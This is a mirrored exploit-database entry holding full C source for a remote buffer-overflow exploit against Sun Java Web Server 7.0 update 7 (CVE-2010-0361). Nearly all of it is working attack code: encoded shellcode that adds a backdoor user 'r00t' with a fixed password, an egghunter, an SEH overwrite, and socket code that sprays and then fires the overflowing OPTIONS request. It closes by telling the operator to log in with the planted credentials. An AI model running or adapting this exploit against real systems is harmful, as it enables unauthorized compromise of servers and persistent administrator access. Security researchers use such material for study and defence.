Sun Java Web Server 7.0 u7 – Remote Overflow

  • 作者: dmc
    日期: 2010-07-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14194/
  • /* Sun Java Web Server Exploit
     * Tested on:
     * Sun Java Web Server 7.0 update 7 - XP SP3
     * Ref: CVE-2010-0361
     * This vulnerability was identified by Evgeny Legerov
     *
     * Author: Dominic Chell <dmc@deadbeef.co.uk>
     * Date: 23/01/2010
     */
    
    #include "stdafx.h"
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include "winsock2.h"
    
    #pragma comment(lib, "ws2_32")
    
    #define usage(){ (void)fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc <dmc@deadbeef.co.uk>\n\nExample: sjwsex.exe [ip] [port] [directory]\n");}
    #define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;}
    
    // encoding the payloads in URL hex prevents it getting converted to unicode
    char seh[] = "%ee%7b%01%12"; // 0x12017bee
    char nextseh[] ="%eb%10%90%90"; // jmp
    char *nop = "%90"; // nop
    char egghunter[] = "%66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7";
    char *egg = "%77%30%30%74%77%30%30%74"; // w00tw00t
    // adduser r00t / r00tr00t123
    char shellcode[] =
     "%89%e6%db%cd%d9%76%f4%58%50%59%49%49%49%49%43"
     "%43%43%43%43%43%51%5a%56%54%58%33%30%56%58%34"
     "%41%50%30%41%33%48%48%30%41%30%30%41%42%41%41"
     "%42%54%41%41%51%32%41%42%32%42%42%30%42%42%58"
     "%50%38%41%43%4a%4a%49%4b%4c%4d%38%4b%39%45%50"
     "%45%50%43%30%43%50%4d%59%4b%55%46%51%48%52%42"
     "%44%4c%4b%46%32%50%30%4c%4b%46%32%44%4c%4c%4b"
     "%51%42%44%54%4c%4b%42%52%46%48%44%4f%4f%47%51"
     "%5a%47%56%46%51%4b%4f%50%31%49%50%4e%4c%47%4c"
     "%43%51%43%4c%45%52%46%4c%47%50%49%51%48%4f%44"
     "%4d%43%31%48%47%4d%32%4c%30%46%32%46%37%4c%4b"
     "%50%52%44%50%4c%4b%47%32%47%4c%45%51%48%50%4c"
     "%4b%51%50%43%48%4d%55%49%50%44%34%51%5a%45%51"
     "%48%50%50%50%4c%4b%47%38%44%58%4c%4b%50%58%51"
     "%30%45%51%4e%33%4a%43%47%4c%51%59%4c%4b%47%44"
     "%4c%4b%45%51%4e%36%46%51%4b%4f%46%51%49%50%4e"
     "%4c%49%51%48%4f%44%4d%43%31%48%47%50%38%4b%50"
     "%43%45%4a%54%43%33%43%4d%4b%48%47%4b%43%4d%47"
     "%54%43%45%4a%42%46%38%4c%4b%50%58%46%44%45%51"
     "%48%53%42%46%4c%4b%44%4c%50%4b%4c%4b%50%58%45"
     "%4c%43%31%49%43%4c%4b%44%44%4c%4b%45%51%4e%30"
     "%4d%59%50%44%47%54%46%44%51%4b%51%4b%45%31%50"
     "%59%50%5a%46%31%4b%4f%4b%50%46%38%51%4f%50%5a"
     "%4c%4b%42%32%4a%4b%4b%36%51%4d%43%5a%43%31%4c"
     "%4d%4b%35%4e%59%45%50%43%30%43%30%46%30%43%58"
     "%46%51%4c%4b%42%4f%4d%57%4b%4f%48%55%4f%4b%4b"
     "%50%45%4d%46%4a%45%5a%45%38%49%36%4a%35%4f%4d"
     "%4d%4d%4b%4f%48%55%47%4c%45%56%43%4c%44%4a%4d"
     "%50%4b%4b%4d%30%42%55%44%45%4f%4b%50%47%42%33"
     "%42%52%42%4f%42%4a%43%30%46%33%4b%4f%4e%35%45"
     "%33%42%4d%45%34%46%4e%43%55%44%38%45%35%51%30"
     "%46%4f%43%53%47%50%42%4e%45%35%42%54%51%30%43"
     "%45%42%53%45%35%43%42%51%30%44%32%50%30%46%50"
     "%42%54%51%30%43%42%46%50%46%50%42%54%44%32%50"
     "%30%46%50%43%44%46%51%46%52%46%53%47%50%46%4f"
     "%51%51%50%44%51%54%47%50%51%36%46%46%51%30%42"
     "%4e%43%55%44%34%51%30%42%4c%42%4f%45%33%45%31"
     "%42%4c%43%57%43%42%42%4f%44%35%42%50%47%50%51"
     "%51%42%44%42%4d%45%39%42%4e%43%59%42%53%44%34"
     "%44%32%45%31%43%44%42%4f%43%42%42%53%51%30%42"
     "%52%46%50%46%50%42%54%51%30%46%4f%47%31%50%44"
     "%51%54%45%50%45%5a%41%41";
    
    int send_buffer(int ipaddr, int port, char *buffer)
    {
     SOCKET s;
     struct fd_set mask;
     struct timeval timeout;
     struct sockaddr_in server;
     WSADATA info;
     if (WSAStartup(MAKEWORD(2,0), &info)) error("Unable to start WSA");
    
     s=socket(AF_INET,SOCK_STREAM,0);
     if (s==INVALID_SOCKET) error("[*] socket error");
     server.sin_family=AF_INET;
     server.sin_addr.s_addr=htonl(ipaddr);
     server.sin_port=htons(port);
    
     WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
     timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
    
     select(s+1,NULL,&mask,NULL,&timeout);
     if(FD_ISSET(s,&mask))
     {
     if (send(s,buffer,strlen(buffer),0)==SOCKET_ERROR) error("[*] error sending buffer\n");
     closesocket(s);
     return 0;
     }
    }
    
    int main(int argc, char *argv[])
    {
     char *verb="GET /";
     char *options="OPTIONS /";
     char *version=" HTTP/1.0";
     char *directory="";
     char *payload, *ptr, *buffer;
     char nops[31], padding[130];
    
     if(argc < 4)
     {
     usage();
     return 0;
     }
    
     memset(nops, 0x00, sizeof(nops));
     memset(padding, 0x00, sizeof(padding));
    
     int ipaddr=htonl(inet_addr(argv[1])), port=atoi(argv[2]);
     directory = argv[3];
     fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc <dmc@deadbeef.co.uk>\n\n");
    
     // build payload and place shellcode in memory
     payload = (char*)malloc(strlen(egg)+strlen(shellcode)+strlen(verb)+strlen(version)+2);
     memset(payload, 0x00, sizeof(payload));
     ptr=payload;
    
     memcpy(ptr, verb, strlen(verb));
     ptr+=strlen(verb);
     memcpy(ptr, egg, strlen(egg));
     ptr+=strlen(egg);
     memcpy(ptr, shellcode, strlen(shellcode));
     ptr+=strlen(shellcode);
     memcpy(ptr, version, strlen(version));
     ptr+=strlen(version);
     memcpy(ptr, "\n\0", 2);
    
     fprintf(stderr, "%s\n", "[*] Filling memory with shellcode");
     for (int i=0; i<4; i++)
     {
     send_buffer(ipaddr, port, payload);
     }
    
     // build final buffer and overwrite seh
     // [ OPTIONS / | DIRECTORY | PADDING | EGG | SHELLLCODE | NEXTSEH | SEH | NOPS | EGGHUNTER | HTTPVERSION ]
     buffer=(char*)malloc(strlen(options)+strlen(directory)+strlen(egg)+strlen(shellcode)+strlen(nextseh)+strlen(seh)+strlen(egghunter)+strlen(version)+163);
     memset(buffer, 0x00, sizeof(buffer));
     ptr=buffer;
    
     memcpy(ptr, options, strlen(options));
     ptr+=strlen(options);
     memcpy(ptr, directory, strlen(directory));
     ptr+=strlen(directory);
     memcpy(ptr, "/", 1);
     ptr++;
    
     for(int i=0;i<129;i++)
     padding[i] = 'A';
    
     memcpy(ptr, padding, strlen(padding));
     ptr+=strlen(padding);
    
     memcpy(ptr, egg, strlen(egg));
     ptr+=strlen(egg);
    
     memcpy(ptr, shellcode, strlen(shellcode));
     ptr+=strlen(shellcode);
    
     memcpy(ptr, nextseh, strlen(nextseh));
     ptr+=strlen(nextseh);
    
     memcpy(ptr, seh, strlen(seh));
     ptr+=strlen(seh);
    
     for(int i=0;i<10;i++)
     strcat(nops, nop);
     memcpy(ptr, nops, strlen(nops));
     ptr+=strlen(nops);
    
     memcpy(ptr, egghunter, strlen(egghunter));
     ptr+=strlen(egghunter);
    
     memcpy(ptr, version, strlen(version));
     ptr+=strlen(version);
     memcpy(ptr, "\n\n\0", 3);
    
     fprintf(stderr, "%s\n", "[*] Sending final buffer");
     send_buffer(ipaddr, port, buffer);
     fprintf(stderr, "%s\n", "[*] Wait 2 minutes and connect with r00t / r00tr00t123");
    
     return 0;
    }